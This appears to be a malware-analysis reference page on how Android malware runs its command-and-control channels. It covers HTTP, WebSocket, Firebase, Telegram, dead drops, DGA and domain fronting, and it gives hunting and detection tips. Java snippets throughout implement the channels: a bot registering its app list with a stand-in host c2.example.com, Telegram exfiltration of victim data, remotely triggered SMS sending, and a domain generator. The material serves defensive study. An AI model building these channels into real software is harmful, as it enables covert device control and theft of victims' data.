C2 Communication Techniques¶
How Android malware talks to its command-and-control infrastructure. The C2 channel determines how commands reach the device, how stolen data leaves, and how resilient the operation is against takedowns. Most families use multiple channels for redundancy.
See also: Network Traffic Interception, Anti-Analysis Techniques
MITRE ATT&CK
| ID | Technique | Tactic |
|---|---|---|
| T1437 | Application Layer Protocol | Command and Control |
| T1481 | Web Service | Command and Control |
| T1521 | Encrypted Channel | Command and Control |
| T1637.001 | Dynamic Resolution: Domain Generation Algorithms | Command and Control |
| T1644 | Out of Band Data | Command and Control |
Sub-techniques: T1481.001 Dead Drop Resolver, T1481.002 Bidirectional Communication (Telegram, MQTT), T1481.003 One-Way Communication (FCM push).
Requirements
| Requirement | Details |
|---|---|
| Permission | INTERNET (auto-granted, normal protection level) |
| Optional | RECEIVE_SMS for SMS-based C2, RECEIVE_BOOT_COMPLETED for persistent reconnection |
| Infrastructure | At least one C2 server, domain, or third-party service account |
C2 Methods¶
HTTP/HTTPS REST APIs¶
The most common C2 channel. Malware sends HTTP POST requests to a hardcoded or dynamically resolved endpoint, typically JSON-encoded. The C2 responds with commands in the same format.
URL url = new URL("https://c2.example.com/gate.php");
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
conn.setRequestMethod("POST");
conn.setRequestProperty("Content-Type", "application/json");
conn.setDoOutput(true);
JSONObject payload = new JSONObject();
payload.put("bot_id", deviceId);
payload.put("action", "register");
payload.put("apps", installedPackages);
OutputStream os = conn.getOutputStream();
os.write(payload.toString().getBytes());
os.flush();
Advantages: works through any network, blends with normal traffic, easy to implement. Disadvantages: requires active server, domains can be seized, traffic is inspectable if pinning is absent.
Used by: BRATA, Hydra, Cerberus, Octo, ProSpy (Retrofit, /v3/ endpoints), most banking trojans.
WebSocket Persistent Connections¶
Maintains a persistent bidirectional connection for real-time command delivery. The C2 server can push commands instantly without polling.
OkHttpClient client = new OkHttpClient();
Request request = new Request.Builder()
.url("wss://c2.example.com/ws")
.build();
WebSocket ws = client.newWebSocket(request, new WebSocketListener() {
@Override
public void onMessage(WebSocket webSocket, String text) {
JSONObject cmd = new JSONObject(text);
executeCommand(cmd.getString("type"), cmd);
}
});
Lower latency than polling HTTP. Enables interactive remote access sessions -- screen streaming, real-time VNC. Connection drop is immediately visible to both sides.
Used by: Hook, Medusa, Octo v2, Cifrat (dual-channel), Mirax (triple-channel: control, data, proxy).
Cifrat takes this further with a dual-channel design: a control channel on port 8443 for low-latency commands (35+ types including gestures, SOCKS5 control, permission status) and a data channel on port 8444 for high-bandwidth streams (40+ types including screen frames, keylog batches, camera frames, SMS data). Each channel uses distinct User-Agent and X-Channel-Type headers, and both share a X-Session-ID UUID for correlation. This separation prevents screen streaming traffic from delaying time-sensitive commands.
Firebase Realtime Database (RTDB)¶
Distinct from FCM: Firebase RTDB is used as a bidirectional message bus, not a push channel. The malware attaches a ValueEventListener to per-victim paths in a public RTDB; the operator writes to those paths from any browser or script and the listener fires on the device within milliseconds. No HTTP polling, no server infrastructure beyond the Firebase project itself.
DatabaseReference ref = FirebaseDatabase.getInstance()
.getReference("/devices/" + androidId);
ref.child("sendsms").addValueEventListener(new ValueEventListener() {
@Override
public void onDataChange(DataSnapshot s) {
if (!s.exists()) return;
String number = s.child("to").getValue(String.class);
String body = s.child("body").getValue(String.class);
SmsManager.getDefault().sendTextMessage(number, null, body, null, null);
s.getRef().removeValue();
}
});
Typical path layout used by Indian SMS-banker / refect.pros-toolkit families:
| Path | Direction | Purpose |
|---|---|---|
/sms/<pushId> |
device → operator | exfil of every received SMS |
/devices/<id>/{status, lastSeen, sim_info} |
device → operator | victim registry |
/forworder/<id> |
operator → device | call-forwarding USSD command |
/sendsms/<id> |
operator → device | send SMS from victim's SIM |
/settings/{sms_phone_number, url} |
operator → device | global config push |
Hunting tip: any Android sample referencing firebaseio.com / FirebaseDatabase.getReference with addValueEventListener on paths keyed by a device identifier is likely an RTDB-as-C2 channel. If the database has open read rules, a GET <project>-default-rtdb.firebaseio.com/.json returns the full operator infrastructure (one campaign observed serving 9 different TDS endpoints from one DB).
Firebase Remote Config as Soft C2¶
A misuse pattern that is harder to attribute than RTDB. The malware uses Firebase Remote Config to fetch JSON behavior flags (banner URLs, redirect targets, kill-switch booleans, A/B variants). Operators flip flags from the Firebase console; victims pull the new config on next launch. No request signature distinguishes a malicious config fetch from any legitimate analytics SDK.
The single strongest IoC is the fetch interval. Legitimate apps use the documented minimum of 3600 seconds (1 hour) or longer:
FirebaseRemoteConfig.getInstance().setConfigSettingsAsync(
new FirebaseRemoteConfigSettings.Builder()
.setMinimumFetchIntervalInSeconds(1L)
.build()
);
A 1-second (or 0) minimum fetch interval means the operator wants to push config changes that take effect within seconds — only useful when the config controls security-sensitive behavior. Flag any app with setMinimumFetchIntervalInSeconds(< 60) and treat the Remote Config response as a C2 channel during dynamic analysis.
A/B Experiment Endpoints as Soft C2¶
A close cousin of Remote Config soft-C2: the app calls a vendor or in-house experimentation service (ezalter, Optimizely, custom A/B endpoints) that returns per-user/geo flags gating monetization or fraud behaviors. Sandbox IPs receive disabled flags → no fraud observed → clean scan. Real victims in target geographies receive enabled → click injection, ad fleet, or overlay activation kicks in. The pattern is indistinguishable from legitimate experimentation infrastructure unless you correlate the response shape against the security-sensitive code paths it gates.
Toast as a Push Channel¶
A novel low-footprint C2 channel: the device polls a server and renders the response text via Toast.makeText().show().
String text = httpGet(c2 + "/sdk.getToast/" + sign);
Toast.makeText(ctx, text, Toast.LENGTH_LONG).show();
Properties that make it attractive:
- No dangerous permission required (
Toastis unrestricted) - Not a
Notification— leaves no entry in the shade, no long-press-for-source affordance - ~3.5 second TTL, then gone — user cannot screenshot the origin
- User attributes the message to the app they are currently in (implicit trust)
Used as a social-engineering channel for "Update now at Toast.makeText() with text fetched via HTTP.
Firebase Cloud Messaging (FCM)¶
Abuses Google's push notification infrastructure as a C2 wake-up channel. The malware registers with FCM using the attacker's Firebase project credentials, then receives push messages containing commands. FCM traffic is indistinguishable from legitimate app notifications.
FirebaseMessaging.getInstance().getToken()
.addOnCompleteListener(task -> {
String token = task.getResult();
sendTokenToC2(token);
});
public class C2MessagingService extends FirebaseMessagingService {
@Override
public void onMessageReceived(RemoteMessage message) {
Map<String, String> data = message.getData();
String command = data.get("cmd");
String args = data.get("args");
executeCommand(command, args);
}
}
Google can revoke the Firebase project, but the attacker just creates a new one. The malware often uses FCM only as a wake-up signal, then connects back to the primary HTTP C2 for actual data transfer.
Newer families bypass the wake-then-poll pattern entirely by embedding full command payloads in FCM data messages. FvncBot delivers overlay trigger commands (URL, HTML, black-screen, loading types), overlay task updates, and clickable overlay configurations directly through FCM pushes, eliminating the round-trip to an HTTP C2. This turns FCM from a wake-up channel into a primary command delivery mechanism, which is harder to detect because the command payload arrives through Google's infrastructure rather than a suspicious backend connection.
Used by: Ermac, Cerberus, GodFather, Anatsa, FvncBot (direct command delivery).
Telegram Bot API¶
Uses Telegram's Bot API for bidirectional C2. The malware contains a bot token and chat ID, sends stolen data as Telegram messages, and polls getUpdates for commands. Telegram's infrastructure provides built-in encryption, CDN distribution, and censorship resistance.
Telegram Bot API C2 Implementation
String botToken = "6234871:AAF...encrypted_token";
String chatId = "-100198765432";
String apiUrl = "https://api.telegram.org/bot" + botToken + "/sendMessage";
JSONObject payload = new JSONObject();
payload.put("chat_id", chatId);
payload.put("text", "New victim: " + deviceId + "\nApps: " + appList);
HttpPost post = new HttpPost(apiUrl);
post.setEntity(new StringEntity(payload.toString()));
Telegram C2 is hard to take down because blocking api.telegram.org disrupts legitimate Telegram usage. The bot token can be rotated easily if compromised.
Used by: Anubis, Mamont, Cerberus (dead drop), SpyNote (some variants).
Dead Drop Resolvers¶
The malware does not hardcode the C2 address directly. Instead, it fetches the real C2 URL from a public service that the attacker controls. If the C2 goes down, the attacker updates the dead drop with a new address without needing to update the malware.
Common dead drop platforms:
| Platform | Method | Example |
|---|---|---|
| Telegram | Public channel with pinned message containing encrypted C2 URL | Channel bio or pinned post has Base64-encoded address |
| Pastebin | Paste containing encrypted/encoded C2 address | https://pastebin.com/raw/XXXXXX |
| GitHub | Repository file or gist with C2 info | README or config file in a public repo |
| Twitter/X | Tweet or bio containing encoded address | Profile bio with hex-encoded URL |
| YouTube | Video description with hidden C2 string | Comment or description field |
Cerberus stored encrypted C2 URLs in a Twitter bio. GodFather used Telegram channel descriptions. MoqHao used Pinterest profile descriptions.
Dead Drop Analysis
When you find a dead drop resolver, check if the attacker is still actively updating the public profile. Extracting historical dead drop values (via Wayback Machine or platform-specific caches) can reveal the full list of C2 servers used over the campaign's lifetime.
DNS Tunneling and DNS-over-HTTPS¶
Encodes C2 data inside DNS queries. The malware makes DNS lookups for subdomains like base64data.evil.com, and the authoritative DNS server decodes the subdomain to extract data. Responses come back as TXT or CNAME records.
DNS-over-HTTPS (DoH) variant sends DNS queries as HTTPS requests to resolvers like https://dns.google/resolve?name=..., bypassing traditional DNS monitoring entirely. This doubles as a way to resolve DGA domains without touching the device's configured DNS.
Less common on Android than on desktop malware due to implementation complexity, but observed in targeted espionage tools.
MQTT Protocol¶
Lightweight publish/subscribe messaging protocol designed for IoT. Some malware families use public MQTT brokers (like mqtt.eclipseprojects.io) for C2, publishing commands to bot-specific topics.
Low overhead, persistent connections, works well on unreliable mobile networks. Hard to distinguish from legitimate IoT traffic.
SMS-Based C2¶
The malware receives commands via incoming SMS messages from a specific number or matching a specific format. Older technique, still used as a fallback when internet connectivity is unavailable.
Commands are typically short codes: #lock#, #sms_forward#ON, #wipe#. The malware's BroadcastReceiver intercepts the SMS before the default messaging app displays it.
Disadvantages: sender number is traceable, SMS costs money at scale, limited payload size.
Used by: BankBot, early Anubis variants, Rafel RAT.
SFTP/FTP Exfiltration¶
Direct file upload for exfiltrating large data: screen recordings, keylog files, photo archives. The malware connects to an attacker-controlled SFTP server and uploads files on a schedule or when triggered.
Vultur uses SFTP (via JSch library) specifically for uploading screen recordings, keeping its HTTP C2 channel separate for commands.
Proxy/Tunnel C2¶
The infected device acts as a network proxy, routing attacker traffic through the victim's connection. McAfee documented TimpDoor (2018), distributed via SMS phishing as a fake voice-message app, which created a SOCKS proxy and redirected traffic through an SSH-encrypted tunnel. Over 5,000 devices were enrolled, giving attackers stealthy access through residential IP addresses. This turns compromised phones into a proxy botnet for masking other malicious activity.
Used by: Anubis, Hydra, LokiBot, Cifrat (SOCKS5 with bearer token auth), Mirax (SOCKS5 residential proxy with Yamux multiplexing).
WebRTC Data Channels¶
WebRTC's RTCDataChannel offers a peer-to-peer transport with built-in DTLS encryption, NAT traversal via STUN/TURN, and customizable reliability. Unlike HTTP/WebSocket C2, WebRTC traffic terminates on a peer rather than a server, making infrastructure attribution harder. The signaling server (used only to negotiate the peer connection) can be hosted on throwaway infrastructure and disappears once the session is established.
PeerConnection pc = factory.createPeerConnection(rtcConfig, observer);
DataChannel.Init init = new DataChannel.Init();
DataChannel channel = pc.createDataChannel("control", init);
channel.registerObserver(new DataChannel.Observer() {
@Override
public void onMessage(DataChannel.Buffer buffer) {
byte[] data = new byte[buffer.data.remaining()];
buffer.data.get(data);
executeCommand(new String(data));
}
});
Fantasy Hub (Russian MaaS RAT, documented by Zimperium zLabs in November 2025) uses a Telegram bot for affiliate subscriptions and WebRTC to covertly stream live camera and microphone feeds from compromised devices. The encrypted WebRTC channel relays content back to the C2 server while blending with legitimate video-call traffic. Pricing is advertised at $200/week or $500/month.
Greenbean Android banking trojan (analyzed by Cyble) uses Simple Realtime Server (SRS) with WebRTC for screen streaming. The malware executes WebRTC tasks in response to server commands labeled C31, C32, C33, and C34, enabling real-time surveillance of victim interactions with banking apps.
The same primitive is used legitimately by enterprise MDM agents for remote-desktop sessions: the accessibility service processes gesture commands (MOUSECLICK, MOUSEMOVE, BACK, HOME) received over the data channel, gated by an "in-use" flag to prevent background command processing. Malicious variants strip the gate.
| Aspect | WebRTC C2 | WebSocket C2 |
|---|---|---|
| Topology | Peer-to-peer (via STUN/TURN) | Client-server |
| Encryption | DTLS (mandatory) | TLS (optional) |
| Signaling | Separate, short-lived | N/A |
| NAT traversal | Built-in | Requires outbound connection |
| Traffic blend | Indistinguishable from video calls | Distinguishable with inspection |
| Detection | Harder (no fixed C2 endpoint during session) | Easier (endpoint visible) |
Used by: Fantasy Hub (Russian MaaS RAT), Greenbean (banking trojan).
Tor/Onion Routing¶
Routes C2 traffic through the Tor network, hiding the server's real IP address. The malware either bundles Tor libraries or uses Orbot as a proxy. The C2 runs as a .onion hidden service.
Adds significant latency and battery drain. Increases APK size if Tor is bundled. Some families use Tor only for C2 registration and fall back to direct HTTPS for data transfer.
Domain Generation Algorithms (DGA)¶
The malware generates a list of pseudo-random domain names using a seed (date, hardcoded value, or external input). The attacker registers one or more of these domains ahead of time. If a domain is seized, the algorithm generates new candidates the next day.
public String generateDomain(int dayOfYear, int year) {
long seed = (dayOfYear * 1000L) + year;
Random rng = new Random(seed);
StringBuilder domain = new StringBuilder();
int len = rng.nextInt(8) + 8;
for (int i = 0; i < len; i++) {
domain.append((char) ('a' + rng.nextInt(26)));
}
domain.append(".com");
return domain.toString();
}
The defender must reverse the DGA to predict and preemptively sinkhole future domains. DGA is less common on Android than on desktop botnets, but has been observed in Anubis and FluBot.
Domain Fronting via Custom HostnameVerifier¶
Distinct from certificate pinning. The malware connects to a benign-looking CDN IP but sets the Host header to the real C2 domain, then installs a custom HostnameVerifier that validates the TLS certificate against the fronted name rather than the connection target.
HttpsURLConnection conn = (HttpsURLConnection) cdnUrl.openConnection();
conn.setRequestProperty("Host", c2Domain);
conn.setHostnameVerifier((hostname, session) -> {
return verifyCertChain(session, c2Domain);
});
Network monitors see traffic to a popular CDN; the real C2 hostname only appears inside the application-layer Host header, invisible to basic netflow analysis and hard to block without breaking the CDN itself. No TLS error fires because the verifier was rewritten to expect the fronted name.
Hunting signal: a custom HostnameVerifier that ignores or substitutes the hostname argument is almost never a legitimate engineering choice — pair with a hardcoded setRequestProperty("Host", ...) call to confirm.
Certificate Pinning on C2 Traffic¶
Malware pinning its own C2 server's certificate to prevent interception by analysts or network security tools. The attacker embeds the server certificate or public key hash in the APK and rejects any connection where the certificate doesn't match.
This is the reverse of the usual scenario: instead of a legitimate app pinning its server, the malware pins the attacker's server. An analyst running mitmproxy sees the connection fail unless they patch out the pinning logic first.
Bypassing Malware Certificate Pinning
Use Frida's ssl_pinning_bypass.js or patch the APK's TrustManager / CertificatePinner at the smali level. See Hooking for Frida-based approaches and Network Analysis for mitmproxy setup.
C2 Method Comparison¶
| Method | Stealth | Reliability | Latency | Bandwidth | Takedown Resistance |
|---|---|---|---|---|---|
| HTTP/HTTPS | Medium | High | Low | High | Low -- domain seizure |
| WebSocket | Medium | Medium | Very Low | High | Low |
| WebRTC | Very High | Medium | Very Low | Very High | High -- P2P after signaling |
| FCM | Very High | High | Low | Low | Medium -- project revocation |
| Telegram Bot | High | Very High | Medium | Medium | High |
| Dead Drop | High | Medium | High | Very Low | High |
| DNS Tunnel | Very High | Medium | High | Very Low | High |
| MQTT | High | Medium | Low | Medium | Medium |
| SMS | Low | Low | Medium | Very Low | Low -- traceable |
| SFTP/FTP | Low | High | Medium | Very High | Low |
| Tor | Very High | Low | Very High | Medium | Very High |
| DGA | Medium | Medium | High | High | High |
Families by Primary C2 Type¶
| Family | Primary C2 | Secondary C2 | Exfiltration |
|---|---|---|---|
| Anubis | HTTP REST | Telegram Bot | HTTP POST |
| Ermac | HTTP REST | FCM wake-up | HTTP POST |
| Hook | WebSocket | HTTP REST | WebSocket |
| Cerberus | HTTP REST | Telegram dead drop, FCM | HTTP POST |
| Medusa | WebSocket | HTTP REST | WebSocket |
| SpyNote | Custom TCP | None | TCP socket |
| Vultur | HTTP REST | FCM wake-up | SFTP |
| Mamont | Telegram Bot | None | Telegram API |
| BRATA | HTTP REST | None | HTTP POST |
| GodFather | HTTP REST | Telegram dead drop, FCM | HTTP POST |
| Octo | HTTP REST | WebSocket (v2) | HTTP POST |
| Hydra | HTTP REST | None | HTTP POST |
| Anatsa | HTTP REST | FCM wake-up | HTTP POST |
| FluBot | HTTP REST + DGA | DNS-based DGA | HTTP POST |
| MoqHao | HTTP REST | Dead drop (Pinterest/Imgur) | HTTP POST |
| Xenomorph | HTTP REST | None | HTTP POST |
| Chameleon | HTTP REST | None | HTTP POST |
| TrickMo | HTTP REST | None | HTTP POST |
| Copybara | HTTP REST | MQTT | HTTP POST |
| FvncBot | HTTP REST + WebSocket | FCM command delivery | HTTP POST (event batching) |
| Cifrat | Dual WebSocket (control:8443, data:8444) | None | WebSocket data channel |
| Mirax | Triple WebSocket (control:8443, data:8444, proxy:8445) | None | WebSocket data channel |
| ProSpy | HTTP REST (Retrofit) | None | HTTP POST (/v3/ endpoints) |
| Canis C2 | HTTP REST (Python stdlib) | None | HTTP POST |
Network Analysis¶
Intercepting C2 Traffic¶
Setting up mitmproxy to capture C2 communications during dynamic analysis:
- Install mitmproxy CA certificate on the test device
- Configure Wi-Fi proxy or use transparent proxy with iptables
- If malware pins its C2 certificate, patch the APK to remove pinning (Frida
ssl_pinning_bypass.jsor manual smali edit) - Monitor for registration beacons, command polling intervals, and exfiltration uploads
Identifying C2 Patterns¶
Common indicators in network traffic:
- Periodic POST requests to the same endpoint (heartbeat/polling)
- JSON payloads containing device identifiers, IMEI, installed app lists
- Base64-encoded or encrypted request bodies
- Requests to
api.telegram.orgwith bot tokens - FCM registration tokens sent to non-Google servers
- Connections to known MQTT brokers
- DNS queries for high-entropy domain names (DGA indicator)
- WebSocket upgrades to suspicious endpoints
Detection During Analysis¶
Static Indicators
- Hardcoded URLs, IPs, or domain patterns in strings/resources
- Telegram bot tokens (format:
[0-9]+:AA[A-Za-z0-9_-]+) - Firebase configuration files (
google-services.json) with unexpected project IDs - JSch or other SSH/SFTP library imports
WebSocketListeneror OkHttp WebSocket usageDnsOverHttpsor custom DNS resolution code- Certificate pinning implementations (custom
TrustManager,CertificatePinner)
Dynamic Indicators
- Outbound connections immediately after first launch
- Periodic network requests at fixed intervals
- Data sent to Telegram API endpoints
- Large file uploads to SFTP servers
- Connections to Tor entry nodes or .onion addresses